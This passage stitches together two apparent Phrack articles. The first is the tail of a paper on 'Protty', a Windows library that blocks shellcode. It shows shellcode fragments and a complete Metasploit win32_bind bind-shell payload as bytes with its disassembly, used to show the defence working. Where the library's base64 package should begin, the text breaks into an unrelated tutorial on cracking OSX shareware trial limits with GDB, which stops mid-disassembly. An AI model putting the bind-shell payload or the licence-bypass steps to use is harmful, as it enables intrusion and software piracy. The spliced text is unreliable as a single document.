;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mov eax,dword ptr fs:[30h]; EAX is now PEB base

mov eax,dword ptr [eax+0ch]; EAX+0Ch = PEB_LDR_DATA

mov esi,dword ptr [eax+1ch]; get the first entry

^^^^^^^^^^^^^^^^^^^^^^^^^^^

|

‑‑‑‑ [P1‑I1]

mov ebx,[esi+08h]; EBX=ntdll imagebase

^^^^^^^^^^^^^^^^^

|

‑‑‑‑‑‑‑ [P2‑I1]

<rest code of PEB parser>

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Description for P1

In this example Protty catches the shellcode when the instruction marked as [P1‑I1] is executed. Since Protty has protected the PEB_LDR_DATA region (it's marked as PAGE_NOACCESS) all references to it will cause an access violation which will be filtered by Protty.

Here, shellcode is trying to get first entry from PEB_LDR_DATA structure, this causes an exception and this way shellcode is catched ‑ attack failed.

‑ Description for P2

The mechanism is being activated when [P2‑I1] instruction is being executed. ESI value is redirected to invalid location so every reference to it cause an access violation exception, this is filtered by the installed prevention mechanism ‑ in short words: attack failed, shellcode was catched.

searching for kernel in memory

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I think here code is not needed, anyway when/where protty will act in this case? As you probably remember from paragraph IV the

kernel search code works together with SEH (structured exception handler) frame. Everytime shellcode tries invalid location SEH frame handles the exception and the search procedure is continued. When Protty is active shellcode doesn't have any "second chance" ‑ what does it mean? It means that when shellcode will check invalid location (by using SEH) the exception will be filtered by Protty mechanism, in short words shellcode will be catched ‑ attack failed.

There are also some shellcodes that search the main shellcode in memory also using SEH frames. Generally the idea is to develop small shellcode which will only search for the main one stored somewhere in memory. Since here SEH frames are also used, such type of shellcodes will be also catched.

export section parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We are assuming that the attacker has grabbed the imagebase in unknown way :) (full code in IV‑th chapter ‑ i don't want to past it here)

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; EAX=imagebase of kernel32.dll

xor ebp,ebp ; zero the counter

mov ebx,[eax+3ch] ; get pe header

add ebx,eax ; normalize

<...snip...>

loop_it:

mov edi,[ecx] ; get one name

add edi,eax ; normalize

cmp dword ptr [edi+4],'Acor' ; is it GetP‑rocA‑ddress ?? :) jne @l ; nope ‑> jump to @l

; yes it is

add esi,ebp ; add out counter

mov esi,[esi] ; get the address ^^^^^^^^^^^^^

|

‑‑‑[I1]

add esi,eax ; normalize

int 3 ; ESI=address of GetProcAddress

@l:

<...snip...>

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Description for P1 and P2

Following example is being catched when [I1] instruction is being executed ‑ when it tries to read the address of GetProcAddress from array with function addresses. Since function addresses array is "protected" all references to it will cause access

violation exception, which will be filtered by the mechanism (like in previous points). Shellcode catched, attack failed.

import section parsing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE

mov eax,ebx

add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA ^^^^^^^^^^^^^^^^^

|

‑‑‑‑[I1]

add edi,ebx ; normalize

xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses ^^^^^^^^^^^^^^^^^

|

‑‑‑‑[I2]

add edx,ebx ; normalize

<...snip...>

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Description for P1 and P2

After instruction marked as [I1] is executed, EDI should contain the import section RVA, why should? because since the protection is active import section RVA is faked. In next step (look at instruction [I2]) this will cause access violation exception (because of the fact that FAKED_IAT_RVA + IMAGEBASE = INVALID LOCATION) and the shellcode will be catched. Attack failed also in this case.

There is also a danger that attacker can hardcode IAT RVA. For such cases import section array of function names is also protected. Look at following code:

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<...snip...>

@loop:

mov eax,[esi]

^^^^^^^^^^^^^

|

‑‑[I1]

add eax,ebx

add eax,2

cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?

<...snip...>

;‑‑‑‑‑‑‑‑‑‑SNIP‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Instruction [I1] is trying to access memory which is not accessible (protection mechanism changed it) and in the result of

this exception is generated. Protty filters the access violation and kills the shellcode ‑ this attack also failed.

And the last example, some shellcode from metasploit.com:

win32_bind by metasploit.com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EXITFUNC=seh LPORT=4444 Size=348 Encoder=PexFnstenvSub

(replace "data" with "data" from protty_example/sample_bo.c then recompile and run)

unsigned char data[] = "\x31\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97" "\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a" "\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e" "\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84" "\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1" "\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9" "\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5" "\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb" "\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87" "\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3" "\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a" "\x41\x76\xf9\xe6\xc4\x76\xe9\xe6\xd4\x76\x55\x65\xf1\x4d\xbb\xe9" "\xf1\x76\x23\x54\x02\x4d\x0e\xaf\xe7\xe2\xfd\x4a\x41\x4f\xba\xe4" "\xc2\xda\x7a\xdd\x33\x88\x84\x5c\xc0\xda\x7c\xe6\xc2\xda\x7a\xdd" "\x72\x6c\x2c\xfc\xc0\xda\x7c\xe5\xc3\x71\xff\x4a\x47\xb6\xc2\x52" "\xee\xe3\xd3\xe2\x68\xf3\xff\x4a\x47\x43\xc0\xd1\xf1\x4d\xc9\xd8" "\x1e\xc0\xc0\xe5\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46" "\x3d\xdb\xe8\x98\x69\x67\x86\x26\x1a\x5f\x92\x1e\x3c\x8e\xc2\xc7" "\x69\x96\xbc\x4a\xe2\x61\x55\x63\xcc\x72\xf8\xe4\xc6\x74\xc0\xb4" "\xc6\x74\xff\xe4\x68\xf5\xc2\x18\x4e\x20\x64\xe6\x68\xf3\xc0\x4a" "\x68\x12\x55\x65\x1c\x72\x56\x36\x53\x41\x55\x63\xc5\xda\x7a\xdd" "\x67\xaf\xae\xea\xc4\xda\x7c\x4a\x47\x25\xaa\xb5";

Disassembly:

0012FD68 90 NOP

0012FD69 90 NOP

0012FD6A 90 NOP

0012FD6B 90 NOP

0012FD6C 90 NOP

0012FD6D 90 NOP

0012FD6E 90 NOP

0012FD6F 90 NOP

0012FD70 90 NOP

0012FD71 90 NOP

0012FD72 90 NOP

0012FD73 31C9 XOR ECX,ECX

0012FD75 83E9 AF SUB ECX,‑51

0012FD78 D9EE FLDZ

0012FD7A D97424 F4 FSTENV (28‑BYTE) PTR SS:[ESP‑C] 0012FD7E 5B POP EBX

0012FD7F 8173 13 9725AAB5 XOR DWORD PTR DS:[EBX+13],B5AA2597 0012FD86 83EB FC SUB EBX,‑4

0012FD89 ^E2 F4 LOOPD SHORT 0012FD7F; DECODING LOOP

decoded data:

0012FD8B FC CLD

0012FD8C 6A EB PUSH ‑15

0012FD8E 4F DEC EDI

0012FD8F E8 F9FFFFFF CALL 0012FD8D; [!]

0012FD94 60 PUSHAD

0012FD95 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24] 0012FD99 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C] 0012FD9C 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+78] 0012FDA0 01EF ADD EDI,EBP

0012FDA2 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18] 0012FDA5 8B5F 20 MOV EBX,DWORD PTR DS:[EDI+20] 0012FDA8 01EB ADD EBX,EBP

...

[!] 0012FD8F (calls) ‑> 0012FD8D (jumps) ‑> 0012FDDE

(PARSING PEB BLOCK ROUTINE)

0012FDDE 31C0 XOR EAX,EAX

0012FDE0 64:8B40 30 MOV EAX,DWORD PTR FS:[EAX+30] 0012FDE4 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C]

0012FDE7 8B70 1C MOV ESI,DWORD PTR DS:[EAX+1C] ; [!!‑P1] 0012FDEA AD LODS DWORD PTR DS:[ESI] ; [!!‑P2]

[!!‑P1] ‑ protty (P1) takeovers the program execution when instruction at 0012FDE7h (MOV ESI,DWORD PTR DS:[EAX+1C]) is being executed, application is terminated, attack failed.

[!!‑P2] ‑ P2 works like above, but the execution is redirected when lodsd instruction is executed.

‑‑[ VII. Bad points (what you should know) ‑ TODO

I have tested Protty2 (P2) with:

‑ Microsoft Internet Explorer

‑ Mozilla Firefox

‑ Nullsoft Winamp

‑ Mozilla Thunderbird

‑ Winrar

‑ Putty

‑ Windows Explorer

and few others applications, it worked fine with 2‑5 module protected (the standard is 2 modules NTDLL.DLL and KERNEL32.DLL), with not much bigger CPU usage! You can define the number of protected modules etc. etc. to make it suitable for your machine/software. The GOOD point is that protected memory region is not requested all the time, generally only on loading new modules (so it don't eat CPU a lot).

However there probably are applications which will not be working stable with protty. I think decreasion of protection methods can make the mechanism more stable however it will also decrease the security level.

Anyway it seems to be more stable than XP SP2 :)) I'm preparing for exams so I don't really have much time to spend it on Protty, so while working with it remember this is a kind of POC code.

TODO:

!!! DEFINETLY IMPORTANT !!!

‑ add SEH all chain checker

‑ code optimization, less code, more *speeeeeed *

‑ add vectored exception handling checker

‑ add some registry keys/loaders to inject it automatically to started application

(if anybody want to play with Protty1):

‑ add some align calculation procedure for VirtualProtect, to describe region size more deeply.

Anyway I made SAFE_MEMORY_MODE (new!), here is the description:

When protty reaches the point where it checks the memory region which caused exception, it checks if it's protected.

Due to missing of align procedure for (VirtualProtect), Protty region comparing procedure can be not stable (well rare cases :)) ‑ and to prevent such cases i made SAFE_MEMORY_MODE.

In this case Protty doesn't check if memory which caused exception is laying somewhere inside protected region table. Instead of this Protty gets actual protection of this memory address (Im using VirtualProtect ‑ not the VirtualQuery because it fails on special areas). Then it checks that actual protection is set to PAGE_NOACCESS if so, Protty deprotects all protected regions and checks the protection again, if it was changed it means that requested memory lays somewhere inside of protected regions. The rest of mechanism is the same (i think it is even more better then align procedure, anyway it seems to work well)

(you can turn on safe mode via editing the prot/conf.inc and rebuilding the library)

‑‑[ VIII. Last words

In the end I would like to say there is a lot to do (this is a concept), but I had a nice time coding this little thingie. It is based on pretty new ideas, new technology, new stuffs. This description is short and not well documented, like I said better test it yourself and see the effect. Sorry for my bad english and all the *lang* things. If you got any comments or sth drop me an email.

Few thanks fliez to (random order):

‑ K.S.Satish, Artur Byszko, Cezary Piekarski, T, Bart Siedlecki, mcb

"some birds werent meant to be caged, their feathers are just too bright."

‑ Stephen King, Shawshank Redemption

‑‑[ IX. References

[1] ‑ VirtualQuery API

‑ msdn.microsoft.com/library/ en‑us/memory/base/virtualquery.asp

[2] ‑ MEMORY_BASIC_INFORMATION structure

‑ msdn.microsoft.com/library/en‑us/ memory/base/memory_basic_ information_str.asp

[3] ‑ IsBadWritePtr API

‑ msdn.microsoft.com/library/ en‑us/memory/base/isbadwriteptr.asp

[4] ‑ Detours library

‑ research.microsoft.com/sn/detours/

[5] ‑ Bypassing 3rd Party Windows Buffer Overflow Protection ‑ http://www.phrack.org/phrack/62/p62‑0x05_Bypassing_Win_

BufferOverflow_Protection.txt

[6] ‑ Defeating w2k3 stack protection http://www.ngssoftware.com/papers/defeating‑w2k3‑stack‑protection.

pdf

[7] ‑ Gaining important datas from PEB under NT boxes http://vx.netlux.org/29a/29a‑6/29a‑6.224

[8] ‑ IA32 Manuals

‑ http://developer.intel.com/design/Pentium4/documentation.htm

[9] ‑ An In‑Depth Look into the Win32 Portable Executable File Format (PART2)

‑ http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx

[10]‑ Windows Heap Overflows

‑ http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/

win‑usa‑04/bh‑win‑04‑litchfield/bh‑win‑04‑litchfield.pdf

[11]‑ Technological Step Into Win32 Shellcodes

‑ http://www.astalavista.com//data/w32shellcodes.txt

[12]‑ EPO: Entry‑Point Obscuring

‑ http://vx.netlux.org/29a/29a‑4/29a‑4.223

‑‑[ X. Code

Library binary and source code attached to paper. Also stored on http://pb.specialised.info .

‑‑‑ START OF BASE64 CHUNK ‑ PROTTY LIBRARY PACKAGE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> PROTT‑PACKAGE.ZIP.BASE64

PowerPC Cracking on OSX with GDB

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x10 of 0x14

|=‑‑‑‑‑=[ Reverse engineering ‑ PowerPC Cracking on OSX with GDB ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ curious ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1.0 ‑ Introduction

2.0 ‑ The Target

3.0 ‑ Attack Transcript

4.0 ‑ Solutions and Patching

A ‑ GDB, OSX, PPC & Cocoa ‑ Some observations.

B ‑ Why can't we just patch with GDB?

‑‑[ 1.0 ‑ Introduction

This article is a guide to taking apart OSX applications and reprogramming their inner structures to behave differently to their original designs. This will be explored while uncrippling a shareware program. While the topic will be tackled step by step, I encourage you to go out and try these things for yourself, on your own programs, instead of just slavishly repeating what you read here.

This technique has other important applications, including writing patches for closed source software where the company has gone out of business or is not interested, malware analysis and fixing incorrectly compiled programs.

It is assumed you have a little rudimentary knowledge in this area already ‑ perhaps you have some assembly programming or you have some cracking experience on Windows or Linux. Hopefully you'll at least know a little bit about assembly language ‑ what it is, and how it basically works ( what a register is, what a relative jump is, etc. ) If you've never worked with PowerPC assembly on OSX before, you might want to have a look at appendix A before we set off. If you have some basic familiarity with GDB, it will also be very useful.

This tutorial uses the following tools and resources ‑ the XCode Cocoa Documentation, which is included with the OSX developer tools, a PowerPC assembly reference ( I recommend IBM's "PowerPC Microprocessor Family: The Programming Environments for 32‑Bit Microprocessors" ‑ you can get it off their website ), gcc, an editor and a hexeditor ( I use bvi ). You'll also be using either XCode/Interface Builder or Steve Nygard's "class‑dump" and Apple's "otool".

I'm no expert on this subject ‑ my knowledge is cobbled together from time spent working in this area with Windows, then Linux and now OSX. I'm sure there's lots in this article that could be done more correctly / efficiently / easily, and if you know, please write to me and discuss it! Already this article is seriously indebted to the excellent suggestions and hard work of Christian Klein of Teenage Mutant Hero Coders.

I had a very hard time deciding whether or not to publish this article anonymously. Recently, my country has enacted ( or threatened to enact ) DMCA style laws that represent a substantial threat to the kinds of exploration and research that this document represents ‑ exploration and research which have important academic and corporate applications. I believe that I have not broken any laws in authoring this document, but the justice system can paint with a broad brush sometimes.

Thanks for reading,

<curious@progsoc.org>

‑‑[ 2.0 ‑ The Target

The target is a shareware client for SFTP and FTP, which I was first exposed to after the automatic ftp execution controversy a few years ago ( see ‑ <http://www.tidbits.com/tb‑issues/TidBITS‑731.html#lnk4> ). Out

of respect for the authors, I'm not going to name it explicitly, and the version analysed is now deprecated.

‑‑[ 3.0 ‑ Attack Transcript

The first step is to prompt the program to display the undesirable behavior we wish to alter, so we know what to look out for and change. From reading the documentation, I know that I have fifteen days of usage before the program will start to assert it's shareware status ‑ after that time period, I will be unable to use the Favourites menu, and sessions will be time limited.

As I didn't want to wait around fifteen days, I deleted the program preferences in ~/Library/Application Support/, and set the clock back one year. I ran the software, quit, and then returned the clock to normal. Now, when I attempt to run the software, I receive the expired message, and the sanctions mentioned above take effect.

Now we need to decide where we are to make the initial incision In the program. Starting at main() or even NSApplicationMain() ( which is where Cocoa programs 'begin' ) is not always feasible in the large, object based and event driven programs that have become the norm in Cocoa development, so here's what I've come up with after a few false starts.

One approach is to attack it from the Interface. If you have a look inside the application bundle ( the .app file ‑ really a folder ), you'll most likely find a collection of nib files that specify the user interface. I found a nib file for the registration dialog, and opened it in Interface Builder.

Inspecting the actions referred to there we find a promising sounding IBAction "validateRegistration:" attached to a class "RegistrationController". This sounds like a good place to start, but if the developers are anything like me, they won't have really dragged their classes into IB, and the real class names may be very different.

If you didn't have any luck finding a useful nib file, don't despair. If you have class‑dump handy, run it on the actual mach‑o executable ( usually in <whatever>.app/Contents/MacOS/ ), and it will attempt to form class declarations for the program. Have a look around there for a likely candidate function.

Now that we have some ideas of where to start, let's fire up GDB and look a bit closer. Start GDB on the mach‑o executable. Once loaded, let's search for the function name we discovered. If you still don't have a function name to work with ( due to no nib files and no class‑dump ), you can just run "info fun" to get a list of functions GDB can index in the program.

| (gdb) info fun validateRegistration

| All functions matching regular expression "validateRegistration": | Non‑debugging symbols:

| 0x00051830 ‑[StateController validateRegistration:]

"StateController" would appear to be the internal name for that registration controlling object referred to earlier. Let's see what methods are registered against it:

| (gdb) info fun StateController

| All functions matching regular expression "StateController": | Non‑debugging symbols:

| 0x0005090c ‑[StateController init]

| 0x00050970 +[StateController sharedInstance]

| 0x000509f8 ‑[StateController appDidLaunch]

| 0x00050e48 ‑[StateController cancelRegistration:]

| 0x00050e8c ‑[StateController findLostNumber:]

| 0x00050efc ‑[StateController state]

| 0x00050fd0 ‑[StateController validState]

| 0x00051128 ‑[StateController saveState:]

| 0x000512e0 ‑[StateController appendState:]

| 0x00051600 ‑[StateController initState]

| 0x0005165c ‑[StateController stateDidChange:]

| 0x00051830 ‑[StateController validateRegistration:]

| 0x00051bd8 ‑[StateController windowDidLoad]

"validState", having no arguments ( no trailing ':' ) sounds very promising. Placing a breakpoint on it and running the program shows it's called twice on startup, and twice when attempting to possibly change registration state ‑ this seems logical, as there are two possible sanctions for expired copies as discussed earlier. Let's dig a bit deeper with this function.

Here's a commented partial disassembly ‑ I've tried to bring it down to something readable on 75 columns, but your mileage may vary. I'm mainly providing this for those unfamiliar with PPC assembly, and it's summarized at the end.

(gdb) disass 0x50fd0

Dump of assembler code for function ‑[StateController validState]: 0x00050fd0 <‑[StateController validState]+0>: mflr r0

# Copy the link register to r0.

0x00050fd4 <‑[StateController validState]+4>: stmw r27,‑20(r1)

# Store r27, r28, r29, r30 and r31 in five consecutive words # starting at r1 ‑ 20 ( 0xbfffe2bc ).

0x00050fd8 <‑[StateController validState]+8>: addis r4,r12,4

# r4 = r12 + 4 || 16(0)

#

# || = "concatenated", in this case with sixteen zeroes. # this has the effect of shifting the "four" ( 100B ) # into the high sixteen of the register.

0x00050fdc <‑[StateController validState]+12>: stw r0,8(r1)

# Write r0 to r1 + 8.

0x00050fe0 <‑[StateController validState]+16>: mr r29,r3

# Copy r3 to r29. At the moment, this would contain

# the address of the object we're being invoked on

# ( a StateController instance ).

0x00050fe4 <‑[StateController validState]+20>: addis r3,r12,4

# As 0x50fd8, but into r3.

0x00050fe8 <‑[StateController validState]+24>: stwu r1,‑96(r1)

# Store Word With Update:

# "address" = r1 ‑ 96

# store r1 to "address"

# r1 = "address"

0x00050fec <‑[StateController validState]+28>: mr r31,r12

# Copy r12 to r31.

0x00050ff0 <‑[StateController validState]+32>: lwz r4,1620(r4)

# Load r4 with contents of memory address r4 + 1620 ( 0x91624 ). # r4 now contains 0x908980CC = c string, "sharedInstance".

0x00050ff4 <‑[StateController validState]+36>: lwz r3,5944(r3)

# Load r3 with contents of memory address r3 + 5944 ( 0x92708 ). # r3 now contains 0x92b20 = objc object, describes itself as # "Preferences".

#

# This seems to be an instance of the undocumented preferences # api used by mail and safari. Tut tut.

0x00050ff8 <‑[StateController validState]+40>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ Preferences sharedInstance ];

# (gdb) po $r3

# <Preferences: 0x10d6c0>

0x00050ffc <‑[StateController validState]+44>: lwz r0,40(r29)

# Load r29 + 40 into r0. As you may recall, r29 was set

# at 0x50fe0 to be the StateController instance. Hence

# this offset refers to some kind of instance variable.

#

# In this case, it's value is nil. Guess it hasn't been

# assigned yet. My theory is that this function will be

# invoked several times on the same object and this, the

# first run through, will do initialization.

0x00051000 <‑[StateController validState]+48>: mr r27,r3

# Copy the shared instance ( herein reffered to as prefObject ) # returned in 0x50ff8 to r27.

0x00051004 <‑[StateController validState]+52>: cmpwi cr7,r0,0

# Compare r0 ( the first instance variable ( herein SC:1 ) ) # with nil, store the result.

#

# (gdb) print /t $cr

# $19 = 100100000000000100001001000010

#

# cr7 occupies offset 21‑24, 001B ( "equal" ).

# The CR's can contain 100B ( "higher" ), 010B ( "lower" )

# or 001B ( "equal" ).

0x00051008 <‑[StateController validState]+56>:

bne+ cr7,0x51030 <‑[StateController validState]+96>

# Jump to +96 if the equal bit of cr7 is not set.

# It is, so we just continue on.

0x0005100c <‑[StateController validState]+60>: addis r4,r31,4

# As 0x50fd8, but into r4. Note that r31 is the new address # of the r12 address used in both of those instances. I would # say r31 contains the start of the table listing the

# message names available in this program.

0x00051010 <‑[StateController validState]+64>: lwz r4,5168(r4)

# Load r4 + 5168 into r4. This turns out to be a c string, # "firstLaunch".

0x00051014 <‑[StateController validState]+68>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ prefObject firstLaunch ];

# This turns out to be an NSDate object, in this case

# 2003‑09‑19 23:30:10 +1000. We'll refer to this as

# firstLaunchDate.

0x00051018 <‑[StateController validState]+72>: cmpwi cr7,r3,0

# Compare firstLaunchDate with nil, results to cr7.

0x0005101c <‑[StateController validState]+76>: stw r3,40(r29)

# Store r3 ( firstLaunchDate ) to r29 + 40 ‑ you'll recall

# this as being the StateController local variable referred # to 0x50ffc, SC:1.

0x00051020 <‑[StateController validState]+80>:

beq+ cr7,0x51030 <‑[StateController validState]+96>

# If the equal bit is set, jump to +96 ‑ same location as

# at 0x51008 for successful loads. Not what I was expecting.

0x00051024 <‑[StateController validState]+84>: addis r4,r31,4 0x00051028 <‑[StateController validState]+88>: lwz r4,2472(r4)

# As we did manage to load successfully, we fall through to # here ‑ load the message table and the string "retain".

0x0005102c <‑[StateController validState]+92>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# firstLaunchDate = [ firstLaunchDate retain ];

0x00051030 <‑[StateController validState]+96>: lwz r3,40(r29)

# Here's where the divergent paths rejoin ‑ load r3 with

# the SC:1.

0x00051034 <‑[StateController validState]+100>: cmpwi cr7,r3,0 0x00051038 <‑[StateController validState]+104>:

beq+ cr7,0x51070 <‑[StateController validState]+160>

# Check to see if it's nil, and if so, jump out to +160.

# This would catch the case where we jumped from 0x51020 ‑

# would have seemed to make more sense to jump directly.

0x0005103c <‑[StateController validState]+108>: addis r4,r31,4 0x00051040 <‑[StateController validState]+112>: lwz r4,4976(r4)

# Load the message table and the string "timeIntervalSinceNow".

0x00051044 <‑[StateController validState]+116>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ firstLaunchDate timeIntervalSinceNow ];

#

# This message returns as an NSTimeInterval, which is a double. # As a result, the function returns to f1 instead of the usual # r3. The result in my case is:

# (gdb) print $f1

# $21 = ‑31790371.620961875

# (gdb) print $f1/60/60/24

# $22 = ‑367.944115983355

#

# This seems as expected from what we did at the beginning.

0x00051048 <‑[StateController validState]+120>: addis r2,r31,3

# Not sure what's at r31 + 3 || 0x0000. It's not the message # symbol table, and r2 is usually reserved for RTOC.

0x0005104c <‑[StateController validState]+124>: lfd f0,26880(r2)

# Load double at r2 + 26880 into f0. Perhaps r2 is a constants # table. It ends up being a big fat zero.

0x00051050 <‑[StateController validState]+128>: fcmpu cr7,f1,f0 0x00051054 <‑[StateController validState]+132>:

ble+ cr7,0x51070 <‑[StateController validState]+160>

# Compare the time between first invocation and now with zero, # if it's less ( and it should be, unless the first invocation # was in the future! ) we jump to +160.

0x00051058 <‑[StateController validState]+136>: addis r4,r31,4 0x0005105c <‑[StateController validState]+140>: lwz r3,40(r29) 0x00051060 <‑[StateController validState]+144>: lwz r4,1836(r4) 0x00051064 <‑[StateController validState]+148>:

bl 0x739d0 <dyld_stub_objc_msgSend>

0x00051068 <‑[StateController validState]+152>: li r0,0 0x0005106c <‑[StateController validState]+156>: stw r0,40(r29) 0x00051070 <‑[StateController validState]+160>: lwz r0,40(r29)

# Load our ever present SC:1 into r0.

0x00051074 <‑[StateController validState]+164>: addis r2,r31,4 0x00051078 <‑[StateController validState]+168>: addis r28,r31,4

# Load the message symbols into both r2 and r28.

0x0005107c <‑[StateController validState]+172>: lwz r3,44(r29)

# Load another instance variable on the StateController ‑ this # one is 4 more along, at +44. We'll tag it as SC:2.

#

# It turns out to be another NSDate, this one is

# "2004‑09‑21 21:55:27 +1000", the time I started the current # gdb session.

0x00051080 <‑[StateController validState]+176>: addis r30,r31,4

# Load the message symbols into r30.

0x00051084 <‑[StateController validState]+180>: cmpwi cr7,r0,0 0x00051088 <‑[StateController validState]+184>:

bne‑ cr7,0x510cc <‑[StateController validState]+252>

# Compare SC:1 with 0, if it's not equal, jump to +252.

# Which we do.

0x0005108c <‑[StateController validState]+188>: lwz r4,5172(r2) 0x00051090 <‑[StateController validState]+192>:

bl 0x739d0 <dyld_stub_objc_msgSend>

0x00051094 <‑[StateController validState]+196>: lwz r4,1504(r30) 0x00051098 <‑[StateController validState]+200>: lwz r3,5924(r28) 0x0005109c <‑[StateController validState]+204>:

bl 0x739d0 <dyld_stub_objc_msgSend>

0x000510a0 <‑[StateController validState]+208>: stw r3,40(r29) 0x000510a4 <‑[StateController validState]+212>: addis r4,r31,4 0x000510a8 <‑[StateController validState]+216>: lwz r4,2472(r4) 0x000510ac <‑[StateController validState]+220>:

bl 0x739d0 <dyld_stub_objc_msgSend>

0x000510b0 <‑[StateController validState]+224>: lwz r5,40(r29) 0x000510b4 <‑[StateController validState]+228>: mr r3,r27 0x000510b8 <‑[StateController validState]+232>: addis r4,r31,4 0x000510bc <‑[StateController validState]+236>: lwz r4,5176(r4) 0x000510c0 <‑[StateController validState]+240>:

bl 0x739d0 <dyld_stub_objc_msgSend>

0x000510c4 <‑[StateController validState]+244>: li r3,1 0x000510c8 <‑[StateController validState]+248>:

b 0x51114 <‑[StateController validState]+324> 0x000510cc <‑[StateController validState]+252>: lwz r4,5172(r2)

# Load r4 with r2 + 5172. r2 still has the message symbol

# table from 0x51074. The string is "timeIntervalSince1970".

0x000510d0 <‑[StateController validState]+256>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 still contains SC:2 from 0x5107c, the time this instance was # launched.

#

# f1 = [ SC:2 timeIntervalSince1970 ];

# f1 = 1095767727.4292047

# f1/60/60/24/365 = 34.746566699302541

0x000510d4 <‑[StateController validState]+260>: lwz r4,1504(r30)

# r30 still has the message symbol table. r4 gets

# "dateWithTimeIntervalSince1970:"

0x000510d8 <‑[StateController validState]+264>: lwz r3,5924(r28)

# Last I saw of r28, it had the message symbol table in it

# as well, but +5924 seems to contain the NSDate class object.

0x000510dc <‑[StateController validState]+268>:

bl 0x739d0 <dyld_stub_objc_msgSend>

# r3 = [ NSDate dateWithTimeIntervalSince1970: $f1 ]

# Since the first argument is a float, it will draw from f1 ‑ # which still has the seconds since 1970 to current invocation # from 0x510d0.

# We end up with an exact copy of SC:2. We'll call it

# thisLaunchDate.

0x000510e0 <‑[StateController validState]+272>: addis r4,r31,4

# Load the message symbol table into r4.

0x000510e4 <‑[StateController validState]+276>: mr r29,r3

# Copy r3 to r29.

0x000510e8 <‑[StateController validState]+280>: mr r3,r27

